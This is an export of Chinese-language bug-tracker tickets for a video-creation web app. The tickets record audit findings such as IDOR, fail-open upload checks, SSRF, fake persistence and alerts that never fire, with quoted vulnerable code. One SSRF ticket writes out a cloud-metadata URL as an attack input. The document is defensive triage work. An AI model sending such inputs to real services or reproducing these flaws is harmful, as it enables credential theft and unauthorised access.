程式碼錨點：（碼中無 AIDV-182 註記）

AIDV-183 [opt] 上傳 signed-URL finalize 內容嗅探 fail-open：Range GET 失敗即放行，偽裝檔可繞過 AIDV-64 縱深防禦

故事 · Backlog · 優先 Medium · labels opt-card,security

描述：> \*\*白話\*\*：大檔改 signed-URL 直傳 R2（AIDV-15）後，位元組不經 Node，所以 AIDV-64 那道「看檔頭真身、擋 .html/.svg/執行檔偽裝成圖片」的嗅探在直傳側缺席。 finalize 用 Range:bytes=0-63 取前 64 bytes 補回，但\*\*取 bytes 失敗時是放行（fail-open） \*\*——只要那一次 Range GET 失敗或 R2 暫時 5xx，整層內容嗅探就被跳過、偽裝物件落庫。 \*\*證據（HEAD 活碼） \*\*：`server/uploadRoute.ts:760-786` \* L762-769 `fetchObjectHeadBytes` catch 後只 `console.warn('content sniff GET failed (allowing upload)')`（L765-766），`headBytes=null` 即跳過 `detectMimeTypeMismatch` 放行。 \* L758-759 註解自承「嗅探失敗不阻擋上傳」。 \* L767 `(sniffErr PR：#946

程式碼錨點：（碼中無 AIDV-183 註記）

AIDV-184 [opt] promptLibrary 可見性/IDOR 一致性：incrementUseCount 無 ownership（可灌他人 useCount） + getById RBAC-ON 忽略 isPublic

漏洞 · 完成 · 優先 Medium · labels backend,opt-card,security

描述：> \*\*白話\*\*：提示詞庫有兩個可見性/權限不一致的点。一是「使用次數+1」沒檢查是誰、也不管成不成功就回成功——任何登入者可以幫`\*`別人（含他人私有）`\*`的提示詞灌使用次數，扭曲廣場排序。二是開了 RBAC 旗標後，公開提示詞在列表看得到、但用 id 點進去卻拿不到（list 與 detail 對不上）。

**\*\*兩個子項（皆 HEAD 活碼 live-verified）\*\*** **\*\*① IDOR + 靜默 no-op —\*\*** ``server/routers/promptLibrary.ts:314-326`` \* L320-323 ``UPDATE useCount+1 WHERE id=input.id``，**\*\*無 userId 述詞、無 pre-read\*\***（相對 ``getById/update/delete/toggleFavorite`` 皆加 ``eq(userId)``）。\* L318/325 ``db`` 不存在或更新 0 列皆無條件 ``return success:true``。\* 影響：任何登入者可灌任何 prompt（含他人私有）的 use

連結資料表 (1)：prompt\_library

程式碼錨點 (5)：

- server/routers/promptLibrary.ts:193
- server/routers/promptLibrary.ts:327
- server/routers/\_\_tests\_\_/promptLibraryIdor.test.ts:2
- server/routers/\_\_tests\_\_/promptLibraryIdor.test.ts:93
- server/routers/\_\_tests\_\_/promptLibraryIdor.test.ts:117

AIDV-185 [opt] dataConnections 歸屬/生命週期硬化：create 未驗 teamId/projectId 歸屬 + router 無 delete（加密憑證無法硬刪）

任務 · Backlog · 優先 Medium · labels backend,opt-card,security

描述：> **\*\*白話\*\***：第三方資料連接（contextPackets）有兩個生命週期/權限缺口。一是「建立連接」時收了 teamId/projectId 卻沒驗你是不是那個團隊的成員/那個專案的擁有者——可以把連接硬塞進不屬於你的團隊/專案。二是整個 router 沒有 delete，外洩或設錯的連接只能停用（disabled）、加密憑證永遠刪不掉。**\*\*兩個子項（非生成後端模態，still-real 驗證）\*\*** **\*\*① create 未驗歸屬 —\*\*** ``server/subsystems/contextPackets/connectionService.ts:73-102`` \* ``createConnection`` 收 teamId/projectId（``contextPacketRouter.ts:134-135`` 直送）寫入 ``data_source_connections``，但**\*\*不驗 caller 是否 teamId 成員/projectId owner\*\***。\* 對比 ``rbac.validateShareTarget``（``rbac.ts``）

連結資料表 (2)：data\_source\_connections, context\_packets

程式碼錨點：（碼中無 AIDV-185 註記）

AIDV-186 [opt] rbac.transferOwnership：擁有權移轉 + 清共享為兩個非交易 await，部分失敗留舊 owner 殘餘存取

漏洞 · Backlog · 優先 Medium · labels backend,decision,opt-card,security,待議

描述：> **\*\*白話\*\***：「把資源擁有權交給別人並清掉所有舊共享」這個動作，程式分兩步各自跑、中間沒有共用交易。如果第二步（清共享）失敗，擁有權已經轉走、但舊主人的共享紀錄還留著——舊主人對一個已不屬於他的資源還有殘餘存取，違反這個動作的安全承諾。**\*\*證據（非生成後端模態，still-real 驗證）\*\***：``server/routers/rbac.ts:276-284`` \* ``transferResourceOwnership``（L276）與 ``deleteAllSharesForResource``（L284）各自 ``getDb()`` 跑獨立 UPDATE/DELETE，**\*\*無共享交易\*\***。\* 第二 await throw 時擁有權已轉但舊 owner shares 殘存，違背 router doc（L236-239）「move ownership AND wipe all shares」。\* 兩 await 間若有 concurrent share 寫入亦殘存。**\*\*來源\*\***：opt-cycle 非生成後端模態，對 HEAD live-ver

程式碼錨點：（碼中無 AIDV-186 註記）

AIDV-187 [opt] worldbuilding router 8 個 placeholder endpoint 回 mock 並靜默吞寫入（上傳/存檔假成功、資料默默丢失）

故事 · Backlog · 優先 Medium · labels backend,decision,opt-card,待議

描述：> **\*\*白話\*\***：世界觀的時間軸圖幀/場景合成這 8 個後端端點，全部是假的：呼叫會回 200 成功 + 一份假資料，但實際根本沒寫進資料庫。創作者上傳/存檔以為成功了，重新整理就什麼都不見。這也對應 QA 探查 R4 提到的「worldbuilding 批次回 HTTP 207 部分失敗」現象。**\*\*證據（HEAD 活碼，主迴圈另親自 Read 確認）\*\***：``server/routers/worldbuilding.ts:614-794`` \* ``listTimelineFrames``（L614-623）回 ``[]`` as TimelineFrame[]，DB 查詢被註解掉（L617-619）。\* ``uploadTimelineFrame``（L628-648）回 ``mockFrame``（``id: Date.now()``），``db.createTimelineFrame`` 整段註解（L631-636），**\*\*從不 insert\*\***。\* 8 個 endpoint 皆 ``protectedProcedure`` 回 200 + 假 payload（含 dele

程式碼錨點：（碼中無 AIDV-187 註記）

AIDV-188 [opt] teams router 承諾『轉移擁有權』卻無 transferOwnership/updateMemberRole——owner 被困死

故事 · Backlog · 優先 Medium · labels backend,opt-card

描述：> **\*\*白話\*\***：團隊的「移除成員」「離開團隊」錯誤訊息都叫你「請先轉移擁有權」，但整個 teams router 根本沒有轉移擁有權、也沒有改成員角色的功能。結果團隊擁有者既不能離開、也不能交棒，唯一出口是解散整個團隊；也無法把既有成員升級成管理員。**\*\*證據（HEAD 活碼，still-real 驗證）\*\***：``server/routers/teams.ts:154-211`` \* ``removeMember``（L170-174）擋移除 owner「請先轉移擁有權」。\* ``leave``（L193-197）擋 owner「請先解散或轉移擁有權」。\* 但全檔**\*\*無\*\*** ``transferOwnership``/``updateMemberRole`` procedure（僅 removeMember/leave/delete）。\* ``addMember`` 也無法升級既有成員角色。**\*\*來源\*\***：opt-cycle 非生成後端模態，對 HEAD live-verified。--- ### 工作表（dev-workflow §3）\* \*\*範圍\*\*

連結資料表 (1)：teams

程式碼錨點：（碼中無 AIDV-188 註記）

AIDV-189 [opt] apiUsage alertConfigs 只寫不評估：budget/quota/anomaly 告警從不觸發 + 無 delete

故事 · Backlog · 優先 Medium · labels backend,cost,opt-card

描述：> **\*\*白話\*\***：admin 可以設「每月預算超過 X 就告警」這類成本告警，設定存得進去，但**\*\*從來沒有任何程式去讀它、比對實際花費、發出告警\*\***——預算爆了也不會通知。而且設定只能新增/改、不能刪。**\*\*證據（HEAD 活碼，still-real 驗證）\*\***：``server/routers/apiUsage.ts:146-190`` \* ``alertConfigRouter`` 只有 ``list``（L147）+ ``upsert``（L155），**\*\*無 delete\*\***。\* 唯一 SELECT 是 list（L150-152）。\* 無任何 job/cron 讀 ``alertConfigs`` 比對實際花費發告警（對比 ``rateLimitRules`` 在 ``routes/aiProxy.ts`` 有強制執行）。\* admin 設的 budget/quota/anomaly 告警永不觸發。**\*\*來源\*\***：opt-cycle 非生成後端模態，對 HEAD live-verified。relates AIDV-14（成本歸屬可視）。--- ### 工

連結資料表 (3)：cost\_aggregations, rate\_limit\_rules, alert\_configs

程式碼錨點：（碼中無 AIDV-189 註記）

## AIDV-190 [opt] learnHub admin CRUD 寫 in-memory 模組陣列——重啟/多實例即丟失（內容管理假持久化）

故事 · Backlog · 優先 Medium · labels backend,decision,opt-card,待議

描述： > \*\*白話\*\*：學習中心的 admin 在後台新增/編輯/刪除教材、影片、測驗，這些改動只寫進「程式記憶體裡的一個陣列」，沒進資料庫。Railway 每次重新部署/重啟就回到種子資料、改動全沒；而且多個服務實例各自有一份，admin 改的只在剛好處理那次寫入的實例看得到。 \*\*證據（HEAD 活碼，still-real 驗證）\*\*：`server/routers/learnHub.ts:46,95,103,534-600` \* L46 `let docs=[...SEED\_DOCS]` 模組級陣列、L44 註解「In-memory store (後端無 DB 表時使用)」。

\* admin mutation 同步 `push`/`splice`，\*\*無 async DB 寫\*\*。

\* 後果：redeploy/重啟回 SEED\`\*；多實例各持一份、改動不一致。

\*\* 來源\*\*：opt-cycle 非生成後端模態，對 HEAD live-verified。 --- ### [注意] 待議 (needs-bruce) 需新增 `learn\_docs`/

程式碼錨點：（碼中無 AIDV-190 註記）

## AIDV-191 [opt] apiUsage 成本查詢正確性/效能：deepCost 50k 截斷時 totalCost 靜默低報 + costAttribution 無界全量載入 ledger

漏洞 · Backlog · 優先 Low · labels backend,cost,opt-card,performance

描述： > \*\*白話\*\*：成本儀表板兩個查詢。一是「深度成本」視窗超過 5 萬筆事件時只算最新 5 萬筆，頭條總額被低報、只用一個 boolean 暗示截斷。二是「成本歸屬」沒有時間範圍也沒有 SQL LIMIT，把整段歷史帳本全拉進記憶體再裁切——帳本一大，每次 admin 開儀表板就全表掃 + 全量物化。

\*\*兩個子項（still-real 驗證）\*\*

\*\*① deepCost 截斷低報 ——\*\* `server/routers/apiUsage.ts:486-547` \* `limit(50\_000)` (L499)，`totalCost=events.reduce(costUsd)` (L520) 只算這 50k 列，回 `window.totalCostUsd` (L546) + `truncated` 旗標 (L547)。

\* 窗超 50k event 時 headline 總成本 = 任意最新 50k 切片成本，比實際低，僅 boolean 暗示。MTD 投影用獨立聚合 (L513-518) 不受影響。

\*\*② costAttribution 無界載入 ——\*\* `s

連結資料表 (1)：cost\_ledger

程式碼錨點：（碼中無 AIDV-191 註記）

## AIDV-192 [opt] orbConversations.appendMessages messageCount read-modify-write 競態：併發 append 互覆寫、計數漂移

漏洞 · Backlog · 優先 Low · labels backend,opt-card,orb

描述： > \*\*白話\*\*：光球對話累加訊息時，訊息數 messageCount 是「先讀舊值、加一加、再整欄寫回」。同一使用者多分頁/快速連送時，兩次併發各讀到同一舊值、後寫者蓋掉前寫者，計數永久少算。去重註解自承「競態窗極小，保險 OK」= 審查時已知並刻意 defer 的缺口。不是壞掉，是 UI 計數慢慢對不上。

\*\*證據（HEAD 活碼，PR #961 AIDV-157 殘留）\*\*：`server/routers/orbConversationsRouter.ts:427-491` \* L466 `newCount=(conv.messageCount??0)+rows.length` 用 `loadOrLazyCreateConversation` 回傳的快照值 (L427)。

\* L481-489 整欄 `set` 回；併發兩 append 各讀同舊值、後寫覆前寫。

\* 去重註解 (L434-438) 自承「競態窗極小，保險 OK」。

\*\* 來源\*\*：opt-cycle PR 殘留模態，對 HEAD live-verified。 --- ###

PR：#961

連結資料表 (3)：prompt\_library, orb\_conversations, orb\_conversation\_messages

程式碼錨點：（碼中無 AIDV-192 註記）

## AIDV-193 [opt] classifyLLMError permanent\_model 寬子字串『does not exist』加固：補顯式 4xx status gate + 收窄 pattern (relates AIDV-165)

任務 · Backlog · 優先 Low · labels backend,llm,opt-card

描述： > \*\*白話\*\*：AIDV-165 修好了「失效模型」分類（碰到 invalid\_model 就不重試、直接換 fallback），修得很完整、測試也綠。但判斷用的關鍵字清單裡有像 `does not exist`、`not found` 這種很泛的字，它的安全性完全靠呼叫端「先用 4xx 收斂」這個隱含前提撐著。哪天有人把那層 status 把關重構掉、或別處複用這個函式，某些 5xx 暫時性錯誤的 body 帶到這字串就會被誤判成永久失效、不重試直接降級。屬加固，不是現有缺陷。

\*\*證據（HEAD 活碼，PR #963 AIDV-165 殘留）\*\*：`server/\_core/llm.ts:1410-1431` \* `PERMANENT\_MODEL\_PATTERNS` (L1410-1421) 含寬語 `does not exist`/`not found`。

\* `classifyLLMError(status, body)` (L1428) 以 `body.toLowerCase()` 比對，\*\*4xx 收斂前提在呼叫端而非函式內顯式契約\*\*。

PR：#963

程式碼錨點：（碼中無 AIDV-193 註記）

## AIDV-194 [opt] providerSnapshotJob fal\_ai/gemini 仍占位 snapshot + TODO：成本對這兩家只能 catalog 估算、無權威帳單對帳

故事 · Backlog · 優先 Low · labels cost,decision,opt-card,待議

描述： > \*\*白話\*\*：AIDV-14 讓成本以台幣可視「上線」了，但 provider 快照對 fal.ai 與 Gemini 兩家仍是寫死的占位資料 + TODO，沒有真的去供應商那邊拉用量/帳單。意思是這兩家的成本完全靠目錄單價估算，無法用供應商權威帳單對帳/校正——a dmin 成本頁這兩家的數字可能被誤讀為精確值。

\*\*證據（HEAD 活碼，PR #945 AIDV-14 殘留）\*\*：`server/jobs/providerSnapshotJob.ts:122-134` \* fal\_ai (L123 `TODO: fal.ai usage API polling`) + gemini (L128-129 `TODO: GCP Cloud Billing API polling`) 仍寫死占位 extraData (tier:'pay-as-you-go' + note)，\*\*無真實供應商側用量回拉\*\*；L136-144 落 providerSnapshots。

\* AIDV-14 的 USD->TWD 換算讓成本可視「上線」，使兩 TODO 升級為可視準確度缺口。

PR：#945

連結資料表 (2)：cost\_aggregations, provider\_snapshots

程式碼錨點：（碼中無 AIDV-194 註記）

## AIDV-195 [opt] in-scope 殼/面板硬編語意色 (amber/emerald/rose) 未走 design-kit token——design-token 收斂軌（本卡為該軌主卡）

任務 · Backlog · 優先 Low · labels design-token,opt-card,uiux

描述： > \*\*白話\*\*：好幾個面板的狀態色（成功綠、警告黃、危險紅）直接寫死 Tailwind 調色盤的 amber/emerald/rose，沒走 design-kit 的 token (var(--ok)/var(--clay)...)。換主題或品牌改色時這些狀態色不會跟著動。屬跨檔慣例性技術債。

\*\*注意\*\*：所有這些色另有文字標籤，沒違反「色彩非唯一資訊」，所以不是 a11y 缺陷——刻意與 AIDV-118（四態/a11y 主軸）分軌，本卡作為 design-token 收斂軌主卡，後續同類發現掛這張。

**\*\*證據 (HEAD 抽查 live-verified) \*\***： \* `client/src/shells/learn/panels/CreditsUsagePanel.tsx:46` text-amber-500 硬編； \* `client/src/shells/settings/panels/ConnectionsPanel.tsx:182`、`AdminPanel.tsx:55`； \* `client/src/shells/\_shared/Mode`  
程式碼錨點：(碼中無 AIDV-195 註記)

AIDV-196 [opt] orbClarificationEngine 意圖澄清引擎全為 no-op 樁，卻經 orbConversationEnhancer 對光球活線 (假澄清/假學習)  
漏洞 · Backlog · 優先 Medium · labels ai-brain,backend,decision,opt-card,待議  
描述： > **\*\*白話\*\***：光球助手號稱會「聽不懂時主動問你、並從你的回答學習你的偏好」。但後端那顆「意圖澄清引擎」整個是空殼——它永遠偵測不到任何意圖、永遠不問澄清、回答也不會被記下來，可是它已經被接到光球對話的活線上正常呼叫。結果：光球表面上裝得有在澄清/學習，實際零效果，創作者得不到任何回饋也無從察覺。**\*\*證據 (HEAD 活碼，主迴圈親自 grep/read 確認) \*\***：`server/services/orbClarificationEngine.ts` \* `identifyIntent` (:115) 內 `// TODO: Implement actual intent classification`，`const detectedIntents: DetectedIntent[] = []` 永遠空 -> 後續 ambiguity / needsClarification 死碼恆 false。 \* `generateClarification` (:205 附近) 硬編問句、TODO 不落地；`recordAnswer` (:413) /`getSta`  
連結資料表 (1)： orb\_conversations  
程式碼錨點：(碼中無 AIDV-196 註記)

AIDV-197 [opt] voiceCompiler 情緒檔 EMOTION\_PROFILES 寫死，未讀使用者 customBlocks 自訂語音 preset  
故事 · Backlog · 優先 Low · labels backend,decision,gen-pipeline,opt-card,待議  
描述： > **\*\*白話\*\***：語音生成的「情緒/語氣」目前只有內建那幾種固定設定，創作者沒辦法存自己調好的語音 preset 重複使用。其他兩個 compiler (音訊/影片) 已經會讀使用者自訂的 `customBlocks`，唯獨語音這類沒接上，等於少了「存成我的語音風格」這個閉環。**\*\*證據 (HEAD 活碼，live-verified) \*\***：`server/services/voiceCompiler.ts` \* `EmotionProfile` (:36)、`EMOTION\_PROFILES` (:123, 內建 record)、`DEFAULT\_EMOTION` (:284) ——情緒檔全為內建常數。 \* `grep customBlocks|savePreset server/services/voiceCompiler.ts` = 0 命中；而 audio/videoCompiler 已使用 `customBlocks` 表 (A.7 持久化已列)。**\*\*來源\*\***：opt-cycle docs 模態 (全站生成管線盤點 A.8#10)，對 HEAD 驗證仍  
連結資料表 (1)： custom\_blocks  
程式碼錨點：(碼中無 AIDV-197 註記)

AIDV-198 [QA探查R7] worldbuilding 面板存角色/場景/世界觀全靜默丟失：8 placeholder endpoint 回 mock 成功但資料未持久化——creator-blocker P1 (data loss)  
漏洞 · Backlog · 優先 Highest · labels P1,creator-blocker,data-loss,qa-explore,routing-gap,video  
描述： ## 白話現象 (給工程小白) 創作者在 /video 的 worldbuilding (世界觀) 面板——新增角色、建立場景、設定世界規則——每次「儲存」都跳出成功 toast，看起來沒問題。但**\*\*資料其實全部悄悄消失了\*\***：重整頁面或換個專案再回來，所有輸入歸零。白話講 = 「假存檔」，創作者以為存好了，其實什麼都沒存。 ## 後端根因 (來自 AIDV-187 opt-card 靜態掃描) `server/routers/worldbuilding.ts` 內 8 個 endpoint (`character.create`、`character.update`、`character.delete`、`scene.create`、`scene.update`、`scene.delete`、`world.update`、`world.getFrameWork`) 實作為 mock： \* 回傳硬編假資料 (`{ success: true, id: 'mock-...' }`) \* \*\*不碰 DB\*\*，無任何 `db.insert` / `db.update`  
程式碼錨點：(碼中無 AIDV-198 註記)

AIDV-199 [QA探查R7] director.breakdown M3 路由缺失：引導式創作「自動拆解」正式 endpoint 至今未建，過渡接線永久成為死路 (AIDV-180 toast 自揭線索)  
漏洞 · Backlog · 優先 High · labels P1,contract-mismatch,creator-blocker,qa-explore,routing-gap,video,待議  
描述： ## 白話現象 AIDV-180 (R5) 的後端錯誤 toast 裡有一句自白：「breakdownScript failed (過渡用 analyzeScriptOverview+generateVideoScript；\*\*正式 director.breakdown M3 待建\*\*)」。這代表： 1. 引導式創作的「自動拆解腳本」走的是一條**\*\*過渡臨時接線\*\*** (`director.analyzeScriptOverview` 收 `segments[]` 而非 `script` 字串)。 2. 正式的 `director.breakdown` 路由 (M3) **\*\*從未建立\*\***。 3. 過渡接線本身也壞掉了 (前後端 schema 不符，AIDV-180 HTTP 400)。 4. 結果：創作者的第一動作 (貼腳本->自動拆解) **\*\*雙重堵死\*\***：正式路由不存在 + 過渡路由 400。 ## 路由缺口 (AIDV-102 routing gap) 依 AIDV-102 §2 驗證門 `check:routes`： \* `director.analyzeScript`  
程式碼錨點：(碼中無 AIDV-199 註記)

AIDV-200 [QA探查R7] /video 文字 AI 健康度盲區：providerReadiness 無文字 LLM 狀態 + 光球意圖澄清從不觸發——創作者無法自診「AI 大腦是否可用」  
漏洞 · Backlog · 優先 High · labels P1,creator-blocker,decision-needed,orb,qa-explore,text-ai,video  
描述： ## 白話現象 (R7 綜合) 承接 AIDV-181 (R6) 及 AIDV-196 (opt-card)，本輪彙整兩個創作者感知層缺口： ### 缺口 A：文字 AI 健康度不可見 當文字 LLM 供應商失效 (402/503)： \* `apiUsage.providerReadiness` 只回傳**\*\*媒體供應商\*\*** (fal\_ai / gemini / elevenlabs / suno)，**\*\*完全不含文字 LLM 狀態\*\*** \* 創作者在 /video 上方「成本階梯」或設定頁，**\*\*看不到任何「AI 大腦是否可用」的指示燈\*\*** \* 唯一的失敗訊號是 AI 對話回傳罐頭 fallback 語句——創作者不知道是自己操作錯了還是服務掛了 **\*\*創作者感知\*\***：多次送出訊息都只收到「抱歉遇到小狀況」，不知道等多久、也不知道該去哪裡看狀態。信任損失等同 AIDV-160 (偷換引擎)。 ### 缺口 B：光球意圖澄清從不發生 AIDV-196 靜態確認：`orbClarificationEngine` (意圖澄清引擎) 全為 no-op stub——`detectCl`  
連結資料表 (3)： custom\_blocks, alert\_configs, orb\_conversations  
程式碼錨點：(碼中無 AIDV-200 註記)

AIDV-201 [資安巡檢C2] SSRF via 生成輸入 URL：director firstFrameUrl/sourceVideoUrl 及 imageStudio 的 imageUrl 為 z.string() 直送 fal——可觸發內網探測  
漏洞 · Backlog · 優先 High · labels auto-patrol,backend,secaudit,security,ssrf  
描述： ## 巡檢類別：C2 (伺服器端請求偽造 SSRF) **\*\*承接 AIDV-168 (opt-card) \*\***，本卡升格為資安巡檢正式紀錄，納入 `secaudit` 標籤追蹤。 ## 漏洞說明 `healing-studio` 多個生成入口接受使用者提供的 URL 直接用於 fal 或其他下游 HTTP 呼叫，**\*\*未做 URL 白名單或 scheme 限制\*\***： | 路由 / 欄位 | 問題 | | --- | --- | | `director.generateVideoFromScript` -> `firstFrameUrl` | `z.string().url()` 無 scheme/host 限制 | | `director.generateVideoFromScript` ->

`sourceVideoUrl` | 同上 | | `imageStudio` 生成路由 -> `imageUrl` (inpaint 來源) | 同上 | 攻擊者可送 `firstFrameUrl`:  
"http://169.254.169.254/latest/meta-  
程式碼錨點: (碼中無 AIDV-201 註記)

AIDV-202 [資安巡檢C2] IDOR: promptLibrary.incrementUseCount 無 ownership 驗證——任何登入用戶可灌他人 prompt 使用次數; getById 缺 RBAC 可見性控制

漏洞 · Backlog · 優先 High · labels auto-patrol,backend,idor,secaudit,security

描述: ## 巡檢類別: C2 (越權存取 IDOR / 缺失 RBAC) \*\*承接 AIDV-184 (opt-card) \*\* , 升格為資安巡檢正式紀錄。 ## 漏洞說明  
`server/routers/promptLibrary.ts` 兩個 endpoint: ### 漏洞 A: `incrementUseCount` — IDOR (任意 prompt 計數篡改) ``ts // 現行 (問題) await db.update(prompts).set({ useCount: sql`use\_count + 1` }) .where(eq(prompts.id, input.promptId)); // 無 WHERE userId = session.user.id 或 ownership 查驗  
`` 攻擊者只要知道 (或猜到) 任意 `promptId` , 即可無限次呼叫 `incrementUseCount` 灌他人 prompt 的使用計數, 操控「熱門 prompt 排行榜」或干擾對方的使用統計。 ### 漏洞 B: `getById` — 缺 visib

連結資料表 (1): prompt\_library

程式碼錨點: (碼中無 AIDV-202 註記)

AIDV-203 [資安巡檢C2] 上傳 finalize 內容嗅探 fail-open: Range GET 失敗即放行, 偽裝副檔名的惡意檔可繞過 AIDV-64 縱深防禦進入媒體管線

漏洞 · Backlog · 優先 High · labels auto-patrol,backend,file-upload,secaudit,security

描述: ## 巡檢類別: C2 (檔案上傳安全/惡意內容繞過) \*\*承接 AIDV-183 (opt-card, 與 AIDV-182 重疊記錄) \*\* , 升格為資安巡檢正式紀錄。 ## 漏洞說明  
`healing-studio` 的 signed-URL 上傳流程在 finalize 階段做「內容嗅探」 (content sniffing) 以驗證檔案類型, 但實作邏輯為 \*\*fail-open\*\*: ``ts // 現行 (問題) try { const rangeResponse = await fetch(url, { headers: { Range: 'bytes=0-512' } }); const magic = await detectMimeFromBuffer(rangeResponse); if (!allowedTypes.includes(magic)) throw new Error('invalid type'); } catch (e) { // fail-open: Range GET 失敗時直接放行 [v] (問題所在) logger.war

程式碼錨點: (碼中無 AIDV-203 註記)

AIDV-204 [opt] ai.chat 供應商 4xx 時自動回退次選 LLM + providerReadiness 納入文字供應商健康度 (AIDV-181 R6 可立即修法)

故事 · 進行中 · 優先 High · labels backend,frontend,gen-pipeline,llm,opt-card,text-ai

描述: > \*\*白話\*\*: 現在文字 AI (ai.chat) 供應商一旦掛掉 (402/503) , 整個文字生成就死透、只回罐頭 fallback。修法兩步: ①讓它自動試次選供應商; ②讓 /video 上方的健康燈也能顯示「文字 AI 是否可用」。 \*\*證據 (來自 AIDV-181 R6 + AIDV-200 R7) \*\*: \* `apiUsage.providerReadiness` 只回媒體供應商, 完全不含文字 LLM 狀態 \* `ai.chat` 供應商失敗時直接回 fallback 語句, 無重試/回退邏輯 \* 創作者看到罐頭錯誤但不知道是否要等、是否要換引擎 \*\* 來源 \*\*: opt-cycle 四模態掃描 (文字 LLM / videoCompiler 掛接) , 對 HEAD 驗證仍成立; 不在 AIDV-181~200 已實作。 --- ### §3 工作表 (dev-workflow §3) \* \*\*範圍\*\*: 1. `server/services/ai.ts` (或 llm proxy 入口) : 供應商回 4xx 時依優先序自動試次選 (如 OpenRoute

連結資料表 (1): alert\_configs

程式碼錨點: (碼中無 AIDV-204 註記)

AIDV-205 [opt] director.analyzeScriptOverview schema 快修: 接受 raw script string 自行分段 (消除 AIDV-180 HTTP 400, 不等 M3 正式路由)

故事 · 進行中 · 優先 High · labels backend,contract-mismatch,gen-pipeline,opt-card,video

描述: > \*\*白話\*\*: 引導式創作「自動拆解」按下就 HTTP 400, 是因前端送 `{ script: string }` 但後端 zod 要 `{ segments: [] }`。最快修法: 讓後端自己把 raw script 拆成 segments, 不要求前端先拆好。這樣不用等 director.breakdown M3 正式路由 (AIDV-199) , 可立即解鎖新手第一步。 \*\*證據 (HEAD 活碼, live-verified by AIDV-180 R5) \*\*: \* `server/routers/director.ts -> analyzeScriptOverview`: zod schema `z.object({ projectId, segments: z.array(...) })` \* 前端 GuidedJourney 送: `{ projectId, script: string }` \* 結果: HTTP 400 ``Invalid input: expected array, received undefined`` at `segme

程式碼錨點: (碼中無 AIDV-205 註記)

AIDV-206 [opt] 四模態 Compiler 輸入 URL 白名單 + upload finalize fail-closed: 一次收斂 SSRF (AIDV-201) 與惡意檔繞過 (AIDV-203) 兩個 C2 安全缺口

故事 · 進行中 · 優先 High · labels backend,file-upload,gen-pipeline,opt-card,security,ssrf

描述: > \*\*白話\*\*: 資安巡檢 C2 本輪發現兩個可立即修的安全缺口, 且都集中在「外部 URL 輸入管線」這一層。把兩個修法打包成一張卡, 一次收斂: ① 四模態 Compiler 的 URL 欄位加白名單防 SSRF; ② 上傳 finalize 從 fail-open 改 fail-closed 防惡意檔。 \*\*證據 (HEAD 活碼) \*\*: \* `director.generateVideoFromScript.firstFrameUrl/sourceVideoUrl`: z.string().url(), 無 scheme/host 限制 (AIDV-201) \* `imageStudio` 生成路由 imageUrl: 同上 (AIDV-201) \* Upload finalize Range GET 失敗 catch -> `return { success: true }` (AIDV-203) \*\* 來源 \*\*: opt-cycle 四模態掃描 (videoCompiler + imageCompiler URL 輸入管線、upload finalize) , h

程式碼錨點: (碼中無 AIDV-206 註記)

AIDV-207 [QA探查R8] teams.transferOwnership 不存在: team owner 離開後 team 永久孤兒——所有成員喪失管理權 (AIDV-188 creator-blocker 升格)

漏洞 · Backlog · 優先 High · labels creator-blocker,qa-explore,routing-gap

描述: ## 白話現象 (R8 靜態票倉 + 使用者旅程分析) 創作者在 /video 側邊欄「我的團隊」邀請成員協作, team UI 顯示「轉移擁有者」入口, 但 `server/routers/teams.ts` 完全沒有以下 endpoint: \* `teams.transferOwnership` \* `teams.updateMemberRole` \*\*創作者旅程死角\*\*: 1. Team owner 帳號停用 / 離職 2. 所有剩餘成員嘗試「接管管理員」 3. API 呼叫 -> 404 / method not found 4. Team 永久孤兒: 無人能再邀請/移除成員、修改設定、解散團隊 ## 多代理創作者評估 (4 人格) | 人格 | 裁決 | 一句話 | | --- | | --- | | 新手 | raise | 「我朋友離開了, 我們的團隊怎麼辦?」 | 接案者 | \*\*blocker\*\* | 「Client 團隊的 owner 離職後我連設定都改不了, 這是合約事故。」 | 小資 | raise | 「帳號費用還在扣但

連結資料表 (1) : teams

程式碼錨點：(碼中無 AIDV-207 註記)

AIDV-208 [QA探查R8] apiUsage alertConfigs 創作者設定預算告警卻永不觸發——幽靈設定等同 orbClarificationEngine 假學習，信任崩潰 (AIDV-189 升格)

漏洞 · Backlog · 優先 High · labels creator-blocker,phantom-feature,qa-explore

描述： ## 白話現象 (R8 票倉分析) 承接 AIDV-189 (opt-card)，本卡升格為創作者體驗 QA 紀錄。創作者在 /video 設定頁->「用量與成本」->「新增告警規則」： \* 填入每月預算上限 (如 NT\$500) \* 設定告警閾值 (80% 時通知) \* 儲存成功 (toast 顯示「已儲存告警規則」) \*\*但\*\* `apiUsage.alertConfigs`： 1. `create` / `update` -> \*\*只寫 DB，從不評估\*\* 2. 無任何定時 job 或 hook 在消費超過閾值時觸發通知 3. 無 `delete` endpoint — 創作者甚至無法清除幽靈規則 4. 結果：當月點數燒完，\*\*創作者從未收到任何告警\*\* ## 多代理創作者評估 | 人格 | 裁決 | 一句話 | | --- | | --- | | 新手 | raise | 「我以為有設提醒，結果點數全燒掉了還不知道。」 | | 接案者 | \*\*blocker\*\* | 「幫 client 控成本是我的責任，告警沒觸發等於逾越預算。」 | | 小資

連結資料表 (1) : alert\_configs

程式碼錨點：(碼中無 AIDV-208 註記)

AIDV-209 [QA探查R8] learnHub admin CRUD

重啟即清空：內容團隊建立學習模組後伺服器重啟全消失——平台學習功能對生產環境等於不存在 (AIDV-190 升格)

漏洞 · Backlog · 優先 Medium · labels data-loss,fake-persistence,qa-explore

描述： ## 白話現象 (R8 靜態分析) 承接 AIDV-190 (opt-card)，本卡升格為創作者體驗 QA 紀錄。`server/routers/learnHub.ts` 的 admin CRUD (`admin.createModule`、`admin.updateModule`、`admin.deleteModule`) 將模組內容寫入 \*\*模組記憶體陣列\*\*： ``ts // 現行 (問題) let LEARN\_MODULES: Module[] = [...SEED\_MODULES]; // admin.createModule LEARN\_MODULES.push(newModule); // 寫入記憶體，不碰 DB `` \*\*影響\*\*： \* Railway prod 每次部署/重啟 -> `LEARN\_MODULES` 重置為初始 seed \* 多實例 (horizontal scaling) -> 各實例陣列獨立，創作者看到不一致內容 \* 內容團隊辛苦建立的 40 個學習模組 -> \*\*下次部署全部消失\*\* ## 多代理創作者評估 (學習者視角)

程式碼錨點：(碼中無 AIDV-209 註記)

AIDV-210 [資安巡檢C3] orbConversations 缺 userId 隔離：getConversation/appendMessages 無 ownership 查驗——登入用戶可任意讀寫他人光球對話 (IDOR)

漏洞 · Backlog · 優先 High · labels IDOR,privacy,secaudit

